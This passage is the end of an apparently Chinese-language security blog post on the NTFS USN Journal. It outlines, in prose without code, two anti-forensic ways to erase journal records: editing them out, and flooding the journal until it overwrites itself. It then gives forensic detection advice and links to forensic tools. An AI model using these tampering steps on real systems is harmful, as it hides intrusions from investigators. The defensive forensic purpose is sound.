http://forensicinsight.org/wp-content/uploads/2013/07/F-INSIGHT-Advanced-UsnJrnl-Forensics-English.pdf

按照格式读取USN Journal,删除指定USN Journal,再写入磁盘。

3、暴力覆盖

首先查看磁盘USN Journal文件的总长度。

然后通过创建、删除、修改、重命名等操作生成USN Journal的记录,当超过总长度后会覆盖最初始的记录,直至覆盖所有的USN Journal。

0x05 取证建议

1、读取USN Journal,列出所有记录,查找是否存在可疑记录

该方法并非完全可信,攻击者只要能够绕过驱动保护,就能修改USN Journal。

2、尝试其他方法

比如从内存中读取$MFT records。

https://github.com/jschicht/HexDump

https://github.com/jschicht/MftCarver

Joakim Schicht的github有很多取证的工具值得参考:

https://github.com/jschicht/

0x06 小结

本文介绍了NTFS文件的USN Journal的利用思路,给出取证上的建议。